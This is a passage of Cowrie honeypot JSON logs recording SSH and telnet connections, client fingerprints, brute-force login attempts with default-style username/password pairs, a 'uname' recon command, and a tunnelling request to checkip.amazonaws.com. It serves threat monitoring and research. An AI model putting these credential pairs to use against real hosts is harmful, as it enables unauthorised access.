03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:19.753860Z","src_ip":"144.91.85.8","session":"516bd1d3631d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@2025","message":"login attempt [ubuntu/Admin@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:20.153867Z","src_ip":"144.91.85.8","session":"516bd1d3631d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:21.246633Z","src_ip":"144.91.85.8","session":"516bd1d3631d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":39970,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bab10defd32","protocol":"telnet","message":"New connection: 130.12.180.174:39970 (10.17.0.5:23) [session: 6bab10defd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:36.612195Z"}
{"eventid":"cowrie.session.closed","duration":0.621239185333252,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:52:37.233274Z","src_ip":"130.12.180.174","session":"6bab10defd32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50282,"dst_ip":"159.203.135.109","dst_port":22,"session":"dae6b1f3714f","protocol":"ssh","message":"New connection: 195.178.110.218:50282 (159.203.135.109:22) [session: dae6b1f3714f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:03.708974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:03.712794Z","src_ip":"195.178.110.218","session":"dae6b1f3714f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:03.792434Z","src_ip":"195.178.110.218","session":"dae6b1f3714f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:04.031233Z","src_ip":"195.178.110.218","session":"dae6b1f3714f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:05.113118Z","src_ip":"195.178.110.218","session":"dae6b1f3714f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":58670,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c0ab57eb7b2","protocol":"ssh","message":"New connection: 27.111.32.174:58670 (159.203.135.109:22) [session: 7c0ab57eb7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:12.040082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:12.044138Z","src_ip":"27.111.32.174","session":"7c0ab57eb7b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:12.293129Z","src_ip":"27.111.32.174","session":"7c0ab57eb7b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"Vagrant123!","message":"login attempt [vagrant/Vagrant123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:13.323858Z","src_ip":"27.111.32.174","session":"7c0ab57eb7b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:14.575399Z","src_ip":"27.111.32.174","session":"7c0ab57eb7b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":58064,"dst_ip":"159.203.135.109","dst_port":22,"session":"27048f140190","protocol":"ssh","message":"New connection: 193.32.162.145:58064 (159.203.135.109:22) [session: 27048f140190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:53.956005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:53.974381Z","src_ip":"193.32.162.145","session":"27048f140190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:54.064007Z","src_ip":"193.32.162.145","session":"27048f140190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"solana","message":"login attempt [sol/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:54.971939Z","src_ip":"193.32.162.145","session":"27048f140190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:56.159423Z","src_ip":"193.32.162.145","session":"27048f140190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":43256,"dst_ip":"159.203.135.109","dst_port":22,"session":"75dd40a34931","protocol":"ssh","message":"New connection: 2.57.122.96:43256 (159.203.135.109:22) [session: 75dd40a34931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:59.128699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:59.133473Z","src_ip":"2.57.122.96","session":"75dd40a34931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:59.232601Z","src_ip":"2.57.122.96","session":"75dd40a34931","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigenlayer","message":"login attempt [root/eigenlayer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:59.580213Z","src_ip":"2.57.122.96","session":"75dd40a34931","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:59.804601Z","src_ip":"2.57.122.96","session":"75dd40a34931","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:59.807215Z","src_ip":"2.57.122.96","session":"75dd40a34931","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:59.907963Z","src_ip":"2.57.122.96","session":"75dd40a34931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:53:59.912231Z","src_ip":"2.57.122.96","session":"75dd40a34931","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":42838,"dst_ip":"159.203.135.109","dst_port":22,"session":"69056166a574","protocol":"ssh","message":"New connection: 92.99.195.230:42838 (159.203.135.109:22) [session: 69056166a574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:11.070572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:11.074775Z","src_ip":"92.99.195.230","session":"69056166a574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:11.270810Z","src_ip":"92.99.195.230","session":"69056166a574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francisco","password":"12345","message":"login attempt [francisco/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:12.088515Z","src_ip":"92.99.195.230","session":"69056166a574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:13.286926Z","src_ip":"92.99.195.230","session":"69056166a574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":43080,"dst_ip":"10.17.0.5","dst_port":22,"session":"35b0fe06355d","protocol":"ssh","message":"New connection: 80.94.95.118:43080 (10.17.0.5:22) [session: 35b0fe06355d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:32.474539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:32.478920Z","src_ip":"80.94.95.118","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:32.583012Z","src_ip":"80.94.95.118","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin123","message":"login attempt [root/Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:33.105934Z","src_ip":"80.94.95.118","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"46.51.192.183","dst_port":443,"src_ip":"80.94.95.118","src_port":60744,"message":"direct-tcp connection request to 46.51.192.183:443 from 127.0.0.1:60744","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:39.222157Z","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"46.51.192.183","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 46.51.192.183:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:47.192884Z","src_ip":"80.94.95.118","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"46.51.192.183","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\xe2<\\xcc\\xde \\xcc%\\x9ayN\\xdc\\x7f\\x1f\\xfc*\\xd4\\x9f\\x80\\x10\\x06\\x14\\x06\\x97\\xb7\\x1e\\x98W\\xeb\\xca\\x81\\xe7 @\\xd7i\\x89\\xdf\\x96I\\x95M\\n\\xb9\\xa6V5\\x80\\x86\\x82\\x84\\xb7\"\\x13z\\xf5n\\xf4\\xe0\\x95\\x11\\xacn\\xaf\\xc4\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ]\\x8f%5\\x15\\xaa\\xd7\\xcf\\xb2\\xb4\\x85r\\x9b\\xaa!J\\xa2\\xcc)\\xe6.\\x1e\\xbe\\x0e\\xc2\\x97\\xca\\x05\\x01\\xc5\\x97\\x12\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 46.51.192.183:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\xe2<\\xcc\\xde \\xcc%\\x9ayN\\xdc\\x7f\\x1f\\xfc*\\xd4\\x9f\\x80\\x10\\x06\\x14\\x06\\x97\\xb7\\x1e\\x98W\\xeb\\xca\\x81\\xe7 